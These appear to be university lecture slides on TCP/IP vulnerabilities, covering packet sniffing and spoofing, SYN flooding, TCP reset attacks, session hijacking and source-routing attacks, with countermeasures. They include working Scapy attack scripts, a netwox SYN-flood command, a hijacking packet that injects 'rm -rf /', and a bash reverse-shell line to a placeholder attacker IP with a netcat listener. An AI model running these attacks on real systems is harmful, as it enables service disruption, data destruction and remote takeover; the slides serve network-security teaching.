Network Security�TCP/IP Vulnerabilities
Instructor: Mohamed Hefeeda
Some of these slides were created by Dr. Khaled Diab of SFU, used by permission.
CMPT 471: Networking II
Security Goals
2
Confidentiality (Privacy)
3
Alice
Eve
Bob
Network
Eavesdropping, packet sniffing
Integrity
4
Alice
Eve
Bob
Network
Authenticity
5
Alice
Eve
Bob
Network
Unauthorized assumption of another’s identity
Authenticity
6
Availability
7
Alice
Eve
Bob
Network
Overwhelm or crash servers, disrupt infrastructure
Observation
8
Sources of Vulnerabilities in Networks
9
Security Topics
10
Packet Sniffing and Spoofing
CMPT 471: Networking II
Sniffing and Spoofing Packets
12
Packet Sniffing
13
Network
100101001001
Sniffer
Sniffer Machine
14
NIC: Promiscuous Mode
15
$ ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
...
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
loopback intf
NIC intf
NIC: Promiscuous Mode
16
$ sudo ip link set enp0s3 promisc on
$ ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
...
2: enp0s3: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
PROMISC enabled
How can we implement packet sniffers?
17
Packet Capturing Using Raw Sockets
18
// create a raw socket
int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
// turn on promiscuous mode
mr.mr_type = PACKET_MR_PROMISC;
setsockopt(sock, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof(mr));
// capture packets
while(1) {
int data_size = recvfrom(sock, buffer, PACKET_LEN, 0, &saddr, � (socklen_t *) sizeof(saddr));
if (data_size)
printf (“Received a packet \n”);
}
Capture all types of packets
Packet Capturing Using pcap Library
19
// open pacp session on a NIC (with name eth3 in this case)
handle = pcap_open_live(“eth3”, BUFSIZ, 1, 1000, errbuf);
// define a filter expression
char filter_exp[] = “ip proto icmp”;
// compile filter_exp into BPF pseudo-code
pcap_compile(handle, &fp, filter_exp, 0, net);
pcap_setfilter(handle, &fp);
// capture packets
pcap_loop(handle, -1, got_packet, NULL);
promiscuous mode
// function to process captured packets
void got_packet(u_char *args, const struct pcap_pkthdr *header, � const u_char *packet) {
printf(“Got packet \n”);
}
Compile:
$ gcc –o sniff sniff.c -lpcap
Packing Capturing Using Scapy
Creating and sending packets in Scapy
$ sudo python3
from scapy.all import *
ip = IP(dst="google.com") # Create IP header, and initialize its dst address
icmp = ICMP() # Create ICMP header, with default values
pkt = ip/icmp # Stack ICMP on top of IP
pkt.show() # show pkt contents
ans = sr1(pkt) # send 1 pkt and receive response
ans.show() #print summary
Scapy demo: Try the following (on P4 VM)
sudo python3
from scapy.all import *
�#let us ping google.com: IP: 142.250.69.206
ip = IP(dst=”google.com”)
icmp = ICMP()
pkt = ip/icmp
#send 1 packet and wait for response
ans = sr1(pkt)
ans.show()�
#let us change some fields in the packet itself
pkt[IP].dst = “www.cnn.com”
pkt.show()
�
22
#list all functions
lsc()
#help on a specific function
help(sr)
#SYN Scan: see whether TCP port 80 or 90 is open (accepts SYN)
ans, unans = sr(IP(dst="google.com")/TCP(dport=[80,90], flags="S"), retry=-2, timeout=1)
ans.summary()
unans.summary()
�
Packing Capturing Using Scapy
$ sudo python3
>>> from scapy.all import *
>>> ans = sniff(filter="icmp", count=2)
>>> ans.show()
# from another terminal ping the machine running sniff
Packing Capturing Using Scapy: more control
#!/usr/bin/python3
from scapy.all import *
print(”Sniffing packets .....")
def process_pkt(pkt):
print (“Received a packet:”)
print (“Source IP: ”, pk[IP].src)
print (“Destination IP: ”, pk[IP].dst)
print (“Protocol: ”, pk[IP].proto)
print (“\n”)
pkt = sniff(filter=‘icmp’, prn=process_pkt)
# Put the code in sniff.py
$ chmod a+x sniff.py
$ sudo ./sniff.py
# from another terminal ping the machine running sniff.py
Packet Filtering
25
udp port 53
Expression =
How are packet filters implemented?
Slide source: Du, Computer & Internet Security, 2019
BSD Packet Filter (BPF)
setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &bpf, sizeof(bpf))
BPF Syntax
udp port 53 && dst host 192.0.2.2
28
Primitive
Primitive
Qualifier
Qualifier
Value
Operator
Expression =
BPF Syntax
29
ip src host 10.0.0.1
tcp port 80
ip host 10.0.0.1
Either src or dst
BPF Syntax
30
0 : Echo Reply
8 : Echo Request
11: Time Exceeded
BPF Syntax
31
BPF Syntax
32
Packet Spoofing
Spoofing ICMP Packet using Scapy
from scapy.all import *
print("Sending Spoofed ICMP packet .....")
ip = IP(src="1.2.3.4", dst="10.0.2.15")
icmp = ICMP()
pkt = ip/icmp
pkt.show()
send(pkt)
Spoofing UDP Packet using Scapy
from scapy.all import *
print("Sending Spoofed UDP packet .....")
ip = IP(src="1.2.3.4", dst="10.0.2.15") #IP header
udp = UDP(sport=8888, dport=9090) # UDP header
payload = "Hello UDP!\n” # Payload
pkt = ip/udp/payload # whole packet
pkt.show()
send(pkt)
Sniffing AND Spoofing using Scapy
from scapy.all import *
def spoof_pkt(pkt):
ip = IP(src="1.2.3.4", dst=pkt[IP].src)
icmp = ICMP()
newdpkt = ip/icmp
send(pkt)
pkt = sniff(filter=‘src host 1.0.0.1’, prn=spoof_pkt)
Exercise: change sniff.py to capture ICMP packets and send reply with a spoofed source address of cnn.com
SYN Flooding
37
Recall: TCP Connection Establishment
38
Hi there!
SYN seq=x
1
Hi. I’m ready!
SYN seq=y, ACK=x+1
2
ACK=y+1 seq=x+1
Cool. Let’s Start!
3
TCP SYN Flooding
39
valid conn. rejected
valid half-open conn.
TCB Queue
attacker-injected half-open conn
TCB Queue
TCP SYN Flooding
40
Launching the Attack
41
Client
10.0.2.4
10.0.2.5
10.0.2.7
Attacker
Telnet Session 1
1
SYN flooding
(how?)
2
Telnet Session 2
3
To display active TCP conn.
$ sudo netstat -tna
Server
Launching the Attack
42
$ sudo netwox 76 -i 10.0.2.4 -p 23 -s raw
Launching the Attack
43
Countermeasure
44
Countermeasure
45
$ sudo sysctl -w net.ipv4.tcp_syncookies=1
TCP Reset
46
TCP Reset Attack
Closing TCP Connections: FIN Protocol
48
I have no more data.
FIN seq=x
1
OK!
ACK=x+1
2
Now A🡪B is closed
A
B
FIN seq=y
I have no data as well.
3
ACK=y+1
OK!
4
Now B🡪A is closed
Gracefully closing a TCP connection using FIN flag
Closing TCP Connections: RST
49
Error! I’m closing this conn!
RST
1
A
B
Closing TCP connection due to error by sending an RST segment (RST flag set)
TCP Reset Attack
50
Attacker
Spoofed RST
A
B
Connection
Src IP
Dst IP
Src Port
Dst Port
Sequence Number
The attacker needs to sniff the network to send a spoofed RST pkt. Why?
To know the seq number, and other header fields
IP
TCP
TCP Apps Vulnerable to RST attacks
51
Video Streaming Server
52
Video
Server
Request
Video Segments
Most modern streaming services use HTTP (i.e., TCP in the transport layer)
TCP Reset Attack in Video Streaming
53
TCP Reset Attack in Video Streaming
54
VICTIM_IP = “10.1.0.4”
def tcp_rst(pkt):
ip = IP(dst=VICTIM_IP, src=pkt[IP].dst)
tcp = TCP(flags=“R”,
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=?)
rst_pkt = ip/tcp
send(rst_pkt)
pkt = sniff(filter=“tcp and src host %s” %
VICTIM_IP, prn= tcp_rst)
run tcp_rst on each pkt that matches the filter
TCP Reset Attack in Video Streaming
55
VICTIM_IP = “10.1.0.4”
def tcp_rst(pkt):
ip = IP(dst=VICTIM_IP, src=pkt[IP].dst)
tcp = TCP(flags=“R”,
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack)
rst_pkt = ip/tcp
send(rst_pkt)
pkt = sniff(filter=“tcp and src host %s” %
VICTIM_IP, tcp_rst)
Recall: ACK num indicates the next expected byte from sender 🡺 thus we put it in the seq num
Countermeasures
56
TCP Session Hijacking
57
Recall: Data Transmission in TCP
58
Server
Client
TCP
IP
1
2
3
Send Buffer
1
2
3
Receive Buffer
1
2
3
TCP
IP
Sending Order
3
1
2
Receiving Order
Uses seq. number to reorder pkts
TCP Session Hijacking
59
Server
Client
Session
Attacker
Receive Buffer
TCP Session Hijacking: Principle
60
TCP Session Hijacking: Principle
61
Receive Buffer
Received bytes
Injected bytes
x
x+1
x+N
Hijacking a Telnet Session
62
Server
Client
Session
cat
/ho
me/
471
/file
.txt
/r
1. Accepts keystrokes from the user.
$ cat /home/471/file.txt
2. The telnet client sends them to the server
Receive Buffer
cat
/ho
me/
471
/file
.txt
/r
3. The TCP server stores data in its buffer
4. The telnet server executes the command 🡺
Hello 471!
!
71/
O 4
Hell
Hello 471!
5. TCP receives output
6. The telnet client displays output
Hijacking a Telnet Session
63
Server
Client
Session
Receive Buffer
user cmds
The telnet server executes user commands
rm
-rf
/ \r
Attacker
rm
-rf
/ \r
The telnet server executes
rm
-rf
/ \r
user cmds
Delete everything!
Hijacking a Telnet Session
64
ip = IP(src=“10.0.2.68”, dst=“10.0.2.69”)
tcp = TCP(sport= 46716, dport=23, flags=“A”,
seq=XXX,
ack=XXX)
cmd = “\r rm –rf /”
pkt = ip/tcp/cmd
send(pkt)
Server
Client
Session
Attacker
IP: 10.0.2.69
Port: 23
IP: 10.0.2.68
Port: 46716
Command runs with user privileges
Session Hijacking can deadlock server & client
65
Attacker
Server
Client
Seq#: y
Seq#: x
4
5
I didn’t send bytes @ [x+1, x+7].
I’m dropping it.
3
retransmissions
4
seq=x, payload_size=8
1
seq=y, ack=x+8
2
I’ll reply to Client
2
I’ve commands to send.
5
seq=x
5
I’ve already seen x. This is a duplicated. I’m dropping it.
6
retransmissions
7
Steps 2—7 repeat, and a deadlock happens
What else can attacker do with session hijacking?
/bin/bash -i > /dev/tcp/<ATTACKER_IP>/9090 0<&1 2>&1
66
(1) Open a new interactive bash shell
(2) Redirect stdout to a TCP socket
(3) Set stdin to stdout (TCP socket)
(4) Set stderr to stdout (TCP socket)
1
2
3
4
Run a reverse shell (where attacker can issue commands)!
$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
On the attacker machine:
nc: netcat �-lv: listen on port 9090 in verbose mode
IP Routing Attacks
67
Network Layer: IP
68
routing: determines source-destination route taken by packets
forwarding: move packets from router’s input to appropriate router output
routing algorithm
local forwarding table
header value
output link
0100
0101
0111
1001
3
2
2
1
1
2
3
0111
dst address in arriving
packet’s header
IP Options: Source Routing
69
1
2
3
4
5
6
7
8
9
Source
Destination
R4
R5
R6
R3
Default IP routing
Source Routing Attack
70
A
B
Attacker
Send source-routed pkts as:
A 🡪 Attacker 🡪 B
1
Reply:
B 🡪 Attacker 🡪 A
2
Attacker does not send reply to A
Attacker pretends pkt coming from
A going to B through itself
Countermeasure
71
Summary
72
Tools and References:
73